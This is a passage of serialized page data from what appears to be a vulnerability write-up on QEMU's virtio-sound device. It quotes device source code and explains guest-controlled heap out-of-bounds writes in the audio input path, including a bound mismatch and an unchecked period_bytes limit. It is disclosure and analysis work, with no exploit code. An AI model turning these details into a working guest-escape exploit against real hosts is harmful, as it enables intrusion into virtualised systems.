populated;\n",{"type":26,"tag":475,"props":124068,"children":124069},{"class":477,"line":650},[124070,124074,124078,124083],{"type":26,"tag":475,"props":124071,"children":124072},{"style":482},[124073],{"type":32,"value":58149},{"type":26,"tag":475,"props":124075,"children":124076},{"style":499},[124077],{"type":32,"value":14810},{"type":26,"tag":475,"props":124079,"children":124080},{"style":482},[124081],{"type":32,"value":124082},"[]",{"type":26,"tag":475,"props":124084,"children":124085},{"style":499},[124086],{"type":32,"value":2729},{"type":26,"tag":475,"props":124088,"children":124089},{"class":477,"line":679},[124090],{"type":26,"tag":475,"props":124091,"children":124092},{"style":499},[124093],{"type":32,"value":16283},{"type":26,"tag":35,"props":124095,"children":124096},{},[124097,124099,124105,124107,124112,124114,124119,124121,124126,124128,124133,124135,124141],{"type":32,"value":124098},"That under-allocation removes the ",{"type":26,"tag":53,"props":124100,"children":124102},{"className":124101},[],[124103],{"type":32,"value":124104},"populated",{"type":32,"value":124106}," field along with the variable-sized ",{"type":26,"tag":53,"props":124108,"children":124110},{"className":124109},[],[124111],{"type":32,"value":3408},{"type":32,"value":124113}," array. As the comment says, ",{"type":26,"tag":53,"props":124115,"children":124117},{"className":124116},[],[124118],{"type":32,"value":124104},{"type":32,"value":124120}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":26,"tag":53,"props":124122,"children":124124},{"className":124123},[],[124125],{"type":32,"value":3722},{"type":32,"value":124127},", the device believes data should be ",{"type":26,"tag":53,"props":124129,"children":124131},{"className":124130},[],[124132],{"type":32,"value":3722},{"type":32,"value":124134}," byte, while the actual allocation is ",{"type":26,"tag":53,"props":124136,"children":124138},{"className":124137},[],[124139],{"type":32,"value":124140},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":32,"value":353},{"type":26,"tag":70,"props":124143,"children":124145},{"id":124144},"populating-data-buffers",[124146],{"type":32,"value":124147},"Populating Data Buffers",{"type":26,"tag":35,"props":124149,"children":124150},{},[124151],{"type":32,"value":124152},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":26,"tag":465,"props":124154,"children":124156},{"code":124155,"language":2854,"meta":7,"className":16220,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[124157],{"type":26,"tag":53,"props":124158,"children":124159},{"__ignoreMap":7},[124160,124167,124175,124182,124190,124198,124205,124254,124261,124287,124304,124316,124323,124355,124400,124440,124447,124455,124462,124487,124515,124539,124547,124559,124597,124610,124622,124629,124675,124712,124755,124776,124796,124816,124827,124834,124857,124873,124881,124888,124895,124902],{"type":26,"tag":475,"props":124161,"children":124162},{"class":477,"line":478},[124163],{"type":26,"tag":475,"props":124164,"children":124165},{"style":552},[124166],{"type":32,"value":49058},{"type":26,"tag":475,"props":124168,"children":124169},{"class":477,"line":516},[124170],{"type":26,"tag":475,"props":124171,"children":124172},{"style":552},[124173],{"type":32,"value":124174}," * AUD_* input callback.\n",{"type":26,"tag":475,"props":124176,"children":124177},{"class":477,"line":539},[124178],{"type":26,"tag":475,"props":124179,"children":124180},{"style":552},[124181],{"type":32,"value":19197},{"type":26,"tag":475,"props":124183,"children":124184},{"class":477,"line":548},[124185],{"type":26,"tag":475,"props":124186,"children":124187},{"style":552},[124188],{"type":32,"value":124189}," * @data: VirtIOSoundPCMStream stream\n",{"type":26,"tag":475,"props":124191,"children":124192},{"class":477,"line":558},[124193],{"type":26,"tag":475,"props":124194,"children":124195},{"style":552},[124196],{"type":32,"value":124197}," * @available: number of bytes that can be read with AUD_read()\n",{"type":26,"tag":475,"props":124199,"children":124200},{"class":477,"line":582},[124201],{"type":26,"tag":475,"props":124202,"children":124203},{"style":552},[124204],{"type":32,"value":123260},{"type":26,"tag":475,"props":124206,"children":124207},{"class":477,"line":596},[124208,124212,124216,124221,124225,124229,124233,124237,124241,124245,124250],{"type":26,"tag":475,"props":124209,"children":124210},{"style":482},[124211],{"type":32,"value":50736},{"type":26,"tag":475,"props":124213,"children":124214},{"style":482},[124215],{"type":32,"value":50741},{"type":26,"tag":475,"props":124217,"children":124218},{"style":493},[124219],{"type":32,"value":124220}," virtio_snd_pcm_in_cb",{"type":26,"tag":475,"props":124222,"children":124223},{"style":499},[124224],{"type":32,"value":626},{"type":26,"tag":475,"props":124226,"children":124227},{"style":482},[124228],{"type":32,"value":51318},{"type":26,"tag":475,"props":124230,"children":124231},{"style":714},[124232],{"type":32,"value":9525},{"type":26,"tag":475,"props":124234,"children":124235},{"style":2375},[124236],{"type":32,"value":3408},{"type":26,"tag":475,"props":124238,"children":124239},{"style":499},[124240],{"type":32,"value":637},{"type":26,"tag":475,"props":124242,"children":124243},{"style":482},[124244],{"type":32,"value":18755},{"type":26,"tag":475,"props":124246,"children":124247},{"style":2375},[124248],{"type":32,"value":124249}," available",{"type":26,"tag":475,"props":124251,"children":124252},{"style":499},[124253],{"type":32,"value":647},{"type":26,"tag":475,"props":124255,"children":124256},{"class":477,"line":610},[124257],{"type":26,"tag":475,"props":124258,"children":124259},{"style":499},[124260],{"type":32,"value":10589},{"type":26,"tag":475,"props":124262,"children":124263},{"class":477,"line":650},[124264,124269,124273,124278,124282],{"type":26,"tag":475,"props":124265,"children":124266},{"style":499},[124267],{"type":32,"value":124268}," VirtIOSoundPCMStream ",{"type":26,"tag":475,"props":124270,"children":124271},{"style":714},[124272],{"type":32,"value":4282},{"type":26,"tag":475,"props":124274,"children":124275},{"style":499},[124276],{"type":32,"value":124277},"stream ",{"type":26,"tag":475,"props":124279,"children":124280},{"style":714},[124281],{"type":32,"value":786},{"type":26,"tag":475,"props":124283,"children":124284},{"style":499},[124285],{"type":32,"value":124286}," data;\n",{"type":26,"tag":475,"props":124288,"children":124289},{"class":477,"line":679},[124290,124295,124299],{"type":26,"tag":475,"props":124291,"children":124292},{"style":499},[124293],{"type":32,"value":124294}," VirtIOSoundPCMBuffer ",{"type":26,"tag":475,"props":124296,"children":124297},{"style":714},[124298],{"type":32,"value":4282},{"type":26,"tag":475,"props":124300,"children":124301},{"style":499},[124302],{"type":32,"value":124303},"buffer;\n",{"type":26,"tag":475,"props":124305,"children":124306},{"class":477,"line":735},[124307,124311],{"type":26,"tag":475,"props":124308,"children":124309},{"style":482},[124310],{"type":32,"value":16270},{"type":26,"tag":475,"props":124312,"children":124313},{"style":499},[124314],{"type":32,"value":124315}," size, max_size;\n",{"type":26,"tag":475,"props":124317,"children":124318},{"class":477,"line":744},[124319],{"type":26,"tag":475,"props":124320,"children":124321},{"emptyLinePlaceholder":18},[124322],{"type":32,"value":545},{"type":26,"tag":475,"props":124324,"children":124325},{"class":477,"line":753},[124326,124331,124335,124339,124343,124347,124351],{"type":26,"tag":475,"props":124327,"children":124328},{"style":493},[124329],{"type":32,"value":124330}," WITH_QEMU_LOCK_GUARD",{"type":26,"tag":475,"props":124332,"children":124333},{"style":499},[124334],{"type":32,"value":626},{"type":26,"tag":475,"props":124336,"children":124337},{"style":714},[124338],{"type":32,"value":2816},{"type":26,"tag":475,"props":124340,"children":124341},{"style":2375},[124342],{"type":32,"value":35955},{"type":26,"tag":475,"props":124344,"children":124345},{"style":499},[124346],{"type":32,"value":13464},{"type":26,"tag":475,"props":124348,"children":124349},{"style":2375},[124350],{"type":32,"value":123507},{"type":26,"tag":475,"props":124352,"children":124353},{"style":499},[124354],{"type":32,"value":676},{"type":26,"tag":475,"props":124356,"children":124357},{"class":477,"line":761},[124358,124363,124367,124371,124376,124380,124384,124388,124392,124396],{"type":26,"tag":475,"props":124359,"children":124360},{"style":586},[124361],{"type":32,"value":124362}," while",{"type":26,"tag":475,"props":124364,"children":124365},{"style":499},[124366],{"type":32,"value":2775},{"type":26,"tag":475,"props":124368,"children":124369},{"style":714},[124370],{"type":32,"value":20329},{"type":26,"tag":475,"props":124372,"children":124373},{"style":493},[124374],{"type":32,"value":124375},"QSIMPLEQ_EMPTY",{"type":26,"tag":475,"props":124377,"children":124378},{"style":499},[124379],{"type":32,"value":626},{"type":26,"tag":475,"props":124381,"children":124382},{"style":714},[124383],{"type":32,"value":2816},{"type":26,"tag":475,"props":124385,"children":124386},{"style":2375},[124387],{"type":32,"value":35955},{"type":26,"tag":475,"props":124389,"children":124390},{"style":499},[124391],{"type":32,"value":13464},{"type":26,"tag":475,"props":124393,"children":124394},{"style":2375},[124395],{"type":32,"value":123760},{"type":26,"tag":475,"props":124397,"children":124398},{"style":499},[124399],{"type":32,"value":34889},{"type":26,"tag":475,"props":124401,"children":124402},{"class":477,"line":770},[124403,124407,124411,124416,124420,124424,124428,124432,124436],{"type":26,"tag":475,"props":124404,"children":124405},{"style":499},[124406],{"type":32,"value":123596},{"type":26,"tag":475,"props":124408,"children":124409},{"style":714},[124410],{"type":32,"value":786},{"type":26,"tag":475,"props":124412,"children":124413},{"style":493},[124414],{"type":32,"value":124415}," QSIMPLEQ_FIRST",{"type":26,"tag":475,"props":124417,"children":124418},{"style":499},[124419],{"type":32,"value":626},{"type":26,"tag":475,"props":124421,"children":124422},{"style":714},[124423],{"type":32,"value":2816},{"type":26,"tag":475,"props":124425,"children":124426},{"style":2375},[124427],{"type":32,"value":35955},{"type":26,"tag":475,"props":124429,"children":124430},{"style":499},[124431],{"type":32,"value":13464},{"type":26,"tag":475,"props":124433,"children":124434},{"style":2375},[124435],{"type":32,"value":123760},{"type":26,"tag":475,"props":124437,"children":124438},{"style":499},[124439],{"type":32,"value":3533},{"type":26,"tag":475,"props":124441,"children":124442},{"class":477,"line":794},[124443],{"type":26,"tag":475,"props":124444,"children":124445},{"emptyLinePlaceholder":18},[124446],{"type":32,"value":545},{"type":26,"tag":475,"props":124448,"children":124449},{"class":477,"line":831},[124450],{"type":26,"tag":475,"props":124451,"children":124452},{"style":499},[124453],{"type":32,"value":124454}," [...]\n",{"type":26,"tag":475,"props":124456,"children":124457},{"class":477,"line":845},[124458],{"type":26,"tag":475,"props":124459,"children":124460},{"emptyLinePlaceholder":18},[124461],{"type":32,"value":545},{"type":26,"tag":475,"props":124463,"children":124464},{"class":477,"line":854},[124465,124470,124474,124478,124482],{"type":26,"tag":475,"props":124466,"children":124467},{"style":499},[124468],{"type":32,"value":124469}," max_size ",{"type":26,"tag":475,"props":124471,"children":124472},{"style":714},[124473],{"type":32,"value":786},{"type":26,"tag":475,"props":124475,"children":124476},{"style":493},[124477],{"type":32,"value":123528},{"type":26,"tag":475,"props":124479,"children":124480},{"style":499},[124481],{"type":32,"value":626},{"type":26,"tag":475,"props":124483,"children":124484},{"style":552},[124485],{"type":32,"value":124486}," // [1]\n",{"type":26,"tag":475,"props":124488,"children":124489},{"class":477,"line":862},[124490,124495,124499,124503,124507,124511],{"type":26,"tag":475,"props":124491,"children":124492},{"style":2375},[124493],{"type":32,"value":124494}," buffer",{"type":26,"tag":475,"props":124496,"children":124497},{"style":499},[124498],{"type":32,"value":13464},{"type":26,"tag":475,"props":124500,"children":124501},{"style":2375},[124502],{"type":32,"value":51755},{"type":26,"tag":475,"props":124504,"children":124505},{"style":499},[124506],{"type":32,"value":13464},{"type":26,"tag":475,"props":124508,"children":124509},{"style":2375},[124510],{"type":32,"value":123545},{"type":26,"tag":475,"props":124512,"children":124513},{"style":499},[124514],{"type":32,"value":2425},{"type":26,"tag":475,"props":124516,"children":124517},{"class":477,"line":885},[124518,124522,124526,124530,124534],{"type":26,"tag":475,"props":124519,"children":124520},{"style":2375},[124521],{"type":32,"value":124494},{"type":26,"tag":475,"props":124523,"children":124524},{"style":499},[124525],{"type":32,"value":13464},{"type":26,"tag":475,"props":124527,"children":124528},{"style":2375},[124529],{"type":32,"value":51755},{"type":26,"tag":475,"props":124531,"children":124532},{"style":499},[124533],{"type":32,"value":13464},{"type":26,"tag":475,"props":124535,"children":124536},{"style":2375},[124537],{"type":32,"value":124538},"in_num\n",{"type":26,"tag":475,"props":124540,"children":124541},{"class":477,"line":913},[124542],{"type":26,"tag":475,"props":124543,"children":124544},{"style":499},[124545],{"type":32,"value":124546}," );\n",{"type":26,"tag":475,"props":124548,"children":124549},{"class":477,"line":926},[124550,124555],{"type":26,"tag":475,"props":124551,"children":124552},{"style":586},[124553],{"type":32,"value":124554}," for",{"type":26,"tag":475,"props":124556,"children":124557},{"style":499},[124558],{"type":32,"value":123358},{"type":26,"tag":475,"props":124560,"children":124561},{"class":477,"line":948},[124562,124566,124570,124575,124579,124583,124587,124592],{"type":26,"tag":475,"props":124563,"children":124564},{"style":586},[124565],{"type":32,"value":102952},{"type":26,"tag":475,"props":124567,"children":124568},{"style":499},[124569],{"type":32,"value":2775},{"type":26,"tag":475,"props":124571,"children":124572},{"style":2375},[124573],{"type":32,"value":124574},"buffer",{"type":26,"tag":475,"props":124576,"children":124577},{"style":499},[124578],{"type":32,"value":13464},{"type":26,"tag":475,"props":124580,"children":124581},{"style":2375},[124582],{"type":32,"value":123692},{"type":26,"tag":475,"props":124584,"children":124585},{"style":714},[124586],{"type":32,"value":8013},{"type":26,"tag":475,"props":124588,"children":124589},{"style":499},[124590],{"type":32,"value":124591}," max_size) {",{"type":26,"tag":475,"props":124593,"children":124594},{"style":552},[124595],{"type":32,"value":124596}," // [2]\n",{"type":26,"tag":475,"props":124598,"children":124599},{"class":477,"line":966},[124600,124605],{"type":26,"tag":475,"props":124601,"children":124602},{"style":493},[124603],{"type":32,"value":124604}," return_rx_buffer",{"type":26,"tag":475,"props":124606,"children":124607},{"style":499},[124608],{"type":32,"value":124609},"(stream, buffer);\n",{"type":26,"tag":475,"props":124611,"children":124612},{"class":477,"line":979},[124613,124618],{"type":26,"tag":475,"props":124614,"children":124615},{"style":586},[124616],{"type":32,"value":124617}," break",{"type":26,"tag":475,"props":124619,"children":124620},{"style":499},[124621],{"type":32,"value":2729},{"type":26,"tag":475,"props":124623,"children":124624},{"class":477,"line":1006},[124625],{"type":26,"tag":475,"props":124626,"children":124627},{"style":499},[124628],{"type":32,"value":1178},{"type":26,"tag":475,"props":124630,"children":124631},{"class":477,"line":1046},[124632,124637,124641,124646,124650,124654,124658,124663,124667,124671],{"type":26,"tag":475,"props":124633,"children":124634},{"style":499},[124635],{"type":32,"value":124636}," size ",{"type":26,"tag":475,"props":124638,"children":124639},{"style":714},[124640],{"type":32,"value":786},{"type":26,"tag":475,"props":124642,"children":124643},{"style":493},[124644],{"type":32,"value":124645}," AUD_read",{"type":26,"tag":475,"props":124647,"children":124648},{"style":499},[124649],{"type":32,"value":626},{"type":26,"tag":475,"props":124651,"children":124652},{"style":2375},[124653],{"type":32,"value":35955},{"type":26,"tag":475,"props":124655,"children":124656},{"style":499},[124657],{"type":32,"value":13464},{"type":26,"tag":475,"props":124659,"children":124660},{"style":2375},[124661],{"type":32,"value":124662},"voice",{"type":26,"tag":475,"props":124664,"children":124665},{"style":499},[124666],{"type":32,"value":353},{"type":26,"tag":475,"props":124668,"children":124669},{"style":2375},[124670],{"type":32,"value":95118},{"type":26,"tag":475,"props":124672,"children":124673},{"style":499},[124674],{"type":32,"value":2425},{"type":26,"tag":475,"props":124676,"children":124677},{"class":477,"line":1068},[124678,124683,124687,124691,124695,124700,124704,124708],{"type":26,"tag":475,"props":124679,"children":124680},{"style":2375},[124681],{"type":32,"value":124682}," buffer",{"type":26,"tag":475,"props":124684,"children":124685},{"style":499},[124686],{"type":32,"value":13464},{"type":26,"tag":475,"props":124688,"children":124689},{"style":2375},[124690],{"type":32,"value":3408},{"type":26,"tag":475,"props":124692,"children":124693},{"style":714},[124694],{"type":32,"value":8616},{"type":26,"tag":475,"props":124696,"children":124697},{"style":2375},[124698],{"type":32,"value":124699}," buffer",{"type":26,"tag":475,"props":124701,"children":124702},{"style":499},[124703],{"type":32,"value":13464},{"type":26,"tag":475,"props":124705,"children":124706},{"style":2375},[124707],{"type":32,"value":123692},{"type":26,"tag":475,"props":124709,"children":124710},{"style":499},[124711],{"type":32,"value":2425},{"type":26,"tag":475,"props":124713,"children":124714},{"class":477,"line":1077},[124715,124720,124725,124729,124733,124737,124741,124746,124750],{"type":26,"tag":475,"props":124716,"children":124717},{"style":493},[124718],{"type":32,"value":124719}," MIN",{"type":26,"tag":475,"props":124721,"children":124722},{"style":499},[124723],{"type":32,"value":124724},"(available, (",{"type":26,"tag":475,"props":124726,"children":124727},{"style":2375},[124728],{"type":32,"value":35955},{"type":26,"tag":475,"props":124730,"children":124731},{"style":499},[124732],{"type":32,"value":13464},{"type":26,"tag":475,"props":124734,"children":124735},{"style":2375},[124736],{"type":32,"value":97900},{"type":26,"tag":475,"props":124738,"children":124739},{"style":499},[124740],{"type":32,"value":353},{"type":26,"tag":475,"props":124742,"children":124743},{"style":2375},[124744],{"type":32,"value":124745},"period_bytes",{"type":26,"tag":475,"props":124747,"children":124748},{"style":714},[124749],{"type":32,"value":50947},{"type":26,"tag":475,"props":124751,"children":124752},{"style":552},[124753],{"type":32,"value":124754}," // [3]\n",{"type":26,"tag":475,"props":124756,"children":124757},{"class":477,"line":1090},[124758,124763,124767,124771],{"type":26,"tag":475,"props":124759,"children":124760},{"style":2375},[124761],{"type":32,"value":124762}," buffer",{"type":26,"tag":475,"props":124764,"children":124765},{"style":499},[124766],{"type":32,"value":13464},{"type":26,"tag":475,"props":124768,"children":124769},{"style":2375},[124770],{"type":32,"value":123692},{"type":26,"tag":475,"props":124772,"children":124773},{"style":499},[124774],{"type":32,"value":124775},")));\n",{"type":26,"tag":475,"props":124777,"children":124778},{"class":477,"line":1119},[124779,124783,124787,124791],{"type":26,"tag":475,"props":124780,"children":124781},{"style":586},[124782],{"type":32,"value":102952},{"type":26,"tag":475,"props":124784,"children":124785},{"style":499},[124786],{"type":32,"value":2775},{"type":26,"tag":475,"props":124788,"children":124789},{"style":714},[124790],{"type":32,"value":20329},{"type":26,"tag":475,"props":124792,"children":124793},{"style":499},[124794],{"type":32,"value":124795},"size) {\n",{"type":26,"tag":475,"props":124797,"children":124798},{"class":477,"line":1132},[124799,124804,124808,124812],{"type":26,"tag":475,"props":124800,"children":124801},{"style":499},[124802],{"type":32,"value":124803}," available ",{"type":26,"tag":475,"props":124805,"children":124806},{"style":714},[124807],{"type":32,"value":786},{"type":26,"tag":475,"props":124809,"children":124810},{"style":903},[124811],{"type":32,"value":2752},{"type":26,"tag":475,"props":124813,"children":124814},{"style":499},[124815],{"type":32,"value":2729},{"type":26,"tag":475,"props":124817,"children":124818},{"class":477,"line":1146},[124819,124823],{"type":26,"tag":475,"props":124820,"children":124821},{"style":586},[124822],{"type":32,"value":124617},{"type":26,"tag":475,"props":124824,"children":124825},{"style":499},[124826],{"type":32,"value":2729},{"type":26,"tag":475,"props":124828,"children":124829},{"class":477,"line":1155},[124830],{"type":26,"tag":475,"props":124831,"children":124832},{"style":499},[124833],{"type":32,"value":1178},{"type":26,"tag":475,"props":124835,"children":124836},{"class":477,"line":1163},[124837,124841,124845,124849,124853],{"type":26,"tag":475,"props":124838,"children":124839},{"style":2375},[124840],{"type":32,"value":124494},{"type":26,"tag":475,"props":124842,"children":124843},{"style":499},[124844],{"type":32,"value":13464},{"type":26,"tag":475,"props":124846,"children":124847},{"style":2375},[124848],{"type":32,"value":123692},{"type":26,"tag":475,"props":124850,"children":124851},{"style":714},[124852],{"type":32,"value":14770},{"type":26,"tag":475,"props":124854,"children":124855},{"style":499},[124856],{"type":32,"value":124034},{"type":26,"tag":475,"props":124858,"children":124859},{"class":477,"line":1172},[124860,124865,124869],{"type":26,"tag":475,"props":124861,"children":124862},{"style":499},[124863],{"type":32,"value":124864}," available ",{"type":26,"tag":475,"props":124866,"children":124867},{"style":714},[124868],{"type":32,"value":103417},{"type":26,"tag":475,"props":124870,"children":124871},{"style":499},[124872],{"type":32,"value":124034},{"type":26,"tag":475,"props":124874,"children":124875},{"class":477,"line":1181},[124876],{"type":26,"tag":475,"props":124877,"children":124878},{"style":499},[124879],{"type":32,"value":124880}," [...]\n",{"type":26,"tag":475,"props":124882,"children":124883},{"class":477,"line":1189},[124884],{"type":26,"tag":475,"props":124885,"children":124886},{"style":499},[124887],{"type":32,"value":741},{"type":26,"tag":475,"props":124889,"children":124890},{"class":477,"line":1221},[124891],{"type":26,"tag":475,"props":124892,"children":124893},{"style":499},[124894],{"type":32,"value":750},{"type":26,"tag":475,"props":124896,"children":124897},{"class":477,"line":1848},[124898],{"type":26,"tag":475,"props":124899,"children":124900},{"style":499},[124901],{"type":32,"value":851},{"type":26,"tag":475,"props":124903,"children":124904},{"class":477,"line":1857},[124905],{"type":26,"tag":475,"props":124906,"children":124907},{"style":499},[124908],{"type":32,"value":3607},{"type":26,"tag":35,"props":124910,"children":124911},{},[124912,124913,124918,124919,124925,124927,124933,124935,124940,124941,124946,124948,124953],{"type":32,"value":123814},{"type":26,"tag":53,"props":124914,"children":124916},{"className":124915},[],[124917],{"type":32,"value":123820},{"type":32,"value":637},{"type":26,"tag":53,"props":124920,"children":124922},{"className":124921},[],[124923],{"type":32,"value":124924},"max_size",{"type":32,"value":124926}," is set to ",{"type":26,"tag":53,"props":124928,"children":124930},{"className":124929},[],[124931],{"type":32,"value":124932},"iov_size(in_sg, in_num)",{"type":32,"value":124934},". Both ",{"type":26,"tag":53,"props":124936,"children":124938},{"className":124937},[],[124939],{"type":32,"value":123545},{"type":32,"value":209},{"type":26,"tag":53,"props":124942,"children":124944},{"className":124943},[],[124945],{"type":32,"value":123562},{"type":32,"value":124947}," are the same guest-controlled fields from ",{"type":26,"tag":53,"props":124949,"children":124951},{"className":124950},[],[124952],{"type":32,"value":123197},{"type":32,"value":353},{"type":26,"tag":35,"props":124955,"children":124956},{},[124957,124959,124964,124966,124972,124974,124980,124982,124988],{"type":32,"value":124958},"Later, at ",{"type":26,"tag":53,"props":124960,"children":124962},{"className":124961},[],[124963],{"type":32,"value":123855},{"type":32,"value":124965},", the code checks whether ",{"type":26,"tag":53,"props":124967,"children":124969},{"className":124968},[],[124970],{"type":32,"value":124971},"buffer->size >= max_size",{"type":32,"value":124973},". In the RX path, ",{"type":26,"tag":53,"props":124975,"children":124977},{"className":124976},[],[124978],{"type":32,"value":124979},"buffer->size",{"type":32,"value":124981}," tracks how many bytes have been written into ",{"type":26,"tag":53,"props":124983,"children":124985},{"className":124984},[],[124986],{"type":32,"value":124987},"buffer->data",{"type":32,"value":124989},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":26,"tag":35,"props":124991,"children":124992},{},[124993,124995,125000,125002,125008,125010,125015,125017,125023],{"type":32,"value":124994},"However, this does not match the allocation logic in ",{"type":26,"tag":53,"props":124996,"children":124998},{"className":124997},[],[124999],{"type":32,"value":123197},{"type":32,"value":125001},", which used: ",{"type":26,"tag":53,"props":125003,"children":125005},{"className":125004},[],[125006],{"type":32,"value":125007},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":32,"value":125009},". In other words, the allocation subtracts ",{"type":26,"tag":53,"props":125011,"children":125013},{"className":125012},[],[125014],{"type":32,"value":123921},{"type":32,"value":125016},", but the later bound in ",{"type":26,"tag":53,"props":125018,"children":125020},{"className":125019},[],[125021],{"type":32,"value":125022},"virtio_snd_pcm_in_cb",{"type":32,"value":125024}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":26,"tag":35,"props":125026,"children":125027},{},[125028,125030,125035,125037,125043,125045,125051,125053,125058,125060,125066,125068,125074,125076,125081,125083,125088],{"type":32,"value":125029},"Finally, at ",{"type":26,"tag":53,"props":125031,"children":125033},{"className":125032},[],[125034],{"type":32,"value":123879},{"type":32,"value":125036},", the code calls ",{"type":26,"tag":53,"props":125038,"children":125040},{"className":125039},[],[125041],{"type":32,"value":125042},"AUD_read",{"type":32,"value":125044}," with the following limit:\n",{"type":26,"tag":53,"props":125046,"children":125048},{"className":125047},[],[125049],{"type":32,"value":125050},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":32,"value":125052},". Notice how this bound does not take ",{"type":26,"tag":53,"props":125054,"children":125056},{"className":125055},[],[125057],{"type":32,"value":124924},{"type":32,"value":125059}," into account at all. That means if ",{"type":26,"tag":53,"props":125061,"children":125063},{"className":125062},[],[125064],{"type":32,"value":125065},"available",{"type":32,"value":125067}," is larger than the allocated buffer, and ",{"type":26,"tag":53,"props":125069,"children":125071},{"className":125070},[],[125072],{"type":32,"value":125073},"stream->params.period_bytes",{"type":32,"value":125075}," is also larger than the allocated buffer, ",{"type":26,"tag":53,"props":125077,"children":125079},{"className":125078},[],[125080],{"type":32,"value":125042},{"type":32,"value":125082}," will write past the end of ",{"type":26,"tag":53,"props":125084,"children":125086},{"className":125085},[],[125087],{"type":32,"value":124987},{"type":32,"value":125089}," - the third, and final, bug we found.",{"type":26,"tag":35,"props":125091,"children":125092},{},[125093,125095,125100,125102,125108],{"type":32,"value":125094},"Looking further at the code, we can see that ",{"type":26,"tag":53,"props":125096,"children":125098},{"className":125097},[],[125099],{"type":32,"value":125073},{"type":32,"value":125101}," is fully guest-controlled by issuing a ",{"type":26,"tag":53,"props":125103,"children":125105},{"className":125104},[],[125106],{"type":32,"value":125107},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":32,"value":125109}," request:",{"type":26,"tag":465,"props":125111,"children":125113},{"code":125112,"language":2854,"meta":7,"className":16220,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[125114],{"type":26,"tag":53,"props":125115,"children":125116},{"__ignoreMap":7},[125117,125125,125154,125171,125191,125198,125215,125222,125229,125236,125258,125265,125272,125279,125325,125368,125412,125420,125457,125493,125529,125536,125553],{"type":26,"tag":475,"props":125118,"children":125119},{"class":477,"line":478},[125120],{"type":26,"tag":475,"props":125121,"children":125122},{"style":482},[125123],{"type":32,"value":125124},"static\n",{"type":26,"tag":475,"props":125126,"children":125127},{"class":477,"line":516},[125128,125132,125137,125142,125146,125150],{"type":26,"tag":475,"props":125129,"children":125130},{"style":482},[125131],{"type":32,"value":57625},{"type":26,"tag":475,"props":125133,"children":125134},{"style":493},[125135],{"type":32,"value":125136}," virtio_snd_set_pcm_params",{"type":26,"tag":475,"props":125138,"children":125139},{"style":499},[125140],{"type":32,"value":125141},"(VirtIOSound ",{"type":26,"tag":475,"props":125143,"children":125144},{"style":714},[125145],{"type":32,"value":4282},{"type":26,"tag":475,"props":125147,"children":125148},{"style":2375},[125149],{"type":32,"value":10360},{"type":26,"tag":475,"props":125151,"children":125152},{"style":499},[125153],{"type":32,"value":2425},{"type":26,"tag":475,"props":125155,"children":125156},{"class":477,"line":539},[125157,125162,125167],{"type":26,"tag":475,"props":125158,"children":125159},{"style":482},[125160],{"type":32,"value":125161}," uint32_t",{"type":26,"tag":475,"props":125163,"children":125164},{"style":2375},[125165],{"type":32,"value":125166}," stream_id",{"type":26,"tag":475,"props":125168,"children":125169},{"style":499},[125170],{"type":32,"value":2425},{"type":26,"tag":475,"props":125172,"children":125173},{"class":477,"line":548},[125174,125179,125183,125187],{"type":26,"tag":475,"props":125175,"children":125176},{"style":499},[125177],{"type":32,"value":125178}," virtio_snd_pcm_set_params ",{"type":26,"tag":475,"props":125180,"children":125181},{"style":714},[125182],{"type":32,"value":4282},{"type":26,"tag":475,"props":125184,"children":125185},{"style":2375},[125186],{"type":32,"value":97900},{"type":26,"tag":475,"props":125188,"children":125189},{"style":499},[125190],{"type":32,"value":647},{"type":26,"tag":475,"props":125192,"children":125193},{"class":477,"line":558},[125194],{"type":26,"tag":475,"props":125195,"children":125196},{"style":499},[125197],{"type":32,"value":10589},{"type":26,"tag":475,"props":125199,"children":125200},{"class":477,"line":582},[125201,125206,125210],{"type":26,"tag":475,"props":125202,"children":125203},{"style":499},[125204],{"type":32,"value":125205}," virtio_snd_pcm_set_params 